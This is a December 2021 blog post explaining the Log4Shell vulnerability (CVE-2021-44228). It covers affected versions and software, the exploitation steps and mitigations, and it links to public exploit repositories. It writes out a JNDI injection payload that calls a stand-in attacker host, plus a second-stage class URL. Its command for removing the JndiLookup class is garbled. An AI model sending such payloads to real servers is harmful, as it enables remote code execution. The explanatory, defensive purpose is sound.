Monday, December 13, 2021

All about Log4j - CVE-2021-44228 Vulnerability | Log4Shell

Log4j
What is Log4j?

What is Log4j Vulnerability and its impact?

Which versions of the Log4j library are vulnerable?

How can it be exploited?

How do you know if you have already been impacted?




On 9th Dec, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 CVE-2021-44228(Log4Shell) was identified as being exploited in the wild and becoming a full-blown security meltdown, affecting digital systems across the internet. Hackers are already attempting to exploit it, as it is incredibly easy to perform. A specially crafted request is sent to a vulnerable system, depending on the system configuration, an attacker can instruct that system to download and subsequently execute a malicious payload. Hackers all around the world are actively scanning the internet for affected systems. They have already developed tools that automatically attempt to exploit the bug, as well as worms that can spread independently from one vulnerable system to another under the right conditions. There are many servers, both on-premise and within the cloud environment, that are yet to be patched, due to the discovery of this exploit being so recent. This flaw could have serious repercussions worldwide even as fixes emerge.


What is Log4j?


Apache Log4j is a Java-based logging utility originally written by Ceki Gülcü and is a part of the Apache Logging Project. This library is used by Java developers as the usage of this library is one of the easiest ways to log errors. 


Many large software companies and organisations use the Log4j library, including Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and many more. Because of the library being so popular, some information security researchers expect a significant increase of the attacks on vulnerable servers over the next few days.


What is Log4j Vulnerability(CVE-2021-44228) and its impact?


Also known as Log4Shell or LogJam, has been discovered in Apache Log4j 2, an open source Java package used to enable logging in many popular applications, and it can be exploited to enable remote code execution on countless servers. Apache Software Foundation says Log4Shell receives the maximum severity rating, 10, on the Common Vulnerability Scoring System (CVSS) scale.


All an attacker has to do to exploit the flaw is strategically send a malicious code string that eventually gets logged by Log4j version 2.0 or higher. The exploit lets an attacker load arbitrary Java code on a server, allowing them to take control.


Minecraft screenshots circulating on forums appear to show players exploiting the vulnerability from the Minecraft chat function. On Friday, some Twitter users began changing their display names to code strings that could trigger the exploit. Another user changed his iPhone name to do the same and submitted the finding to Apple. Researchers told WIRED that the approach could also potentially work using email.


Which versions of the Log4j library are vulnerable?


Affected Version

Apache Log4j 2.x <= 2.15.0-rc1

Almost all versions of Log4j are vulnerable, starting from 2.0-beta9 to 2.14.1. The simplest and most effective protection method is to install the most recent version of the library, 2.15.0. 


Affected Software

A significant number of Java-based applications are using log4j as their logging utility and are vulnerable to this CVE. To the best of our knowledge, at least the following software may be impacted:


  • Apache Struts

  • Apache Solr

  • Apache Druid

  • Apache Flink

  • ElasticSearch

  • Flume

  • Apache Dubbo

  • Logstash

  • Kafka

  • Spring-Boot-starter-log4j2


How can it be exploited?




  • Malicious crafted payload ${jndi:ldap://attacker.com/a} is sent to the server via any header/cookie/parameter.

  • The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),

  • The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI),

  • This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process.

  • This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.



Researchers have already found evidence that Log4 Shell can be exploited in servers operated by Apple, Cloudflare, Twitter, Valve, Tencent, and other large companies. The vulnerability is said to be particularly easy to exploit in Minecraft servers, too, with some proof of concept attacks using nothing more than the in-game chat.


How to protect your server from attacks?


  1. Update Log4j 2 to the latest version(2.15.0), but when that is not possible, the potentially vulnerable machines should limit outbound access as much as possible.

  2. If for some reason updating the library is not possible, Apache Foundation recommends using one of the mitigation methods. In case of Log4J versions from 2.10 to 2.14.1, they advise setting the log4j2.formatMsgNoLookups system property, or setting the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.

  3. To protect earlier releases of Log4j (from 2.0-beta9 to 2.10.0), the library developers recommend removing the JndiLookup class from the classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup .class.



The situation underscores the challenges of managing risk within interdependent enterprise software. As Minecraft did, many organizations will need to develop their own patches or will be unable to patch immediately because they are running legacy software, like older versions of Java. Additionally, Log4j is not a casual thing to patch in live services because if something goes wrong an organization could compromise their logging capabilities at the moment when they need them most to watch for attempted exploitation. There's not much that average users can do, other than install updates for various online services whenever they're available; most of the work to be done will be on the enterprise side, as companies and organizations scramble to implement fixes.


For immediate remediation, Implement rules at WAF level to block Log4j Attack payloads.


How do you know if you have already been impacted?


To analyse the impact on the current scenario, kindly check the outbound connections from your servers. Multiple outbound protocols can be used to exploit vulnerable systems, so blocking specific ports or hosts may not be sufficient.


For now, the priority is figuring out how widespread the problem truly is. Unfortunately, security teams and hackers alike are working overtime to find the answer. 



Exploits


https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

https://github.com/welk1n/JNDI-Injection-Exploit

https://github.com/tangxiaofeng7/BurpLog4j2Scan

https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept









References - 


https://www.kaspersky.com/blog/log4shell-critical-vulnerability-in-apache-log4j/43124/

https://thehackernews.com/2021/12/apache-log4j-vulnerability-log4shell.html

https://www.wired.com/story/log4j-flaw-hacking-internet/amp

https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/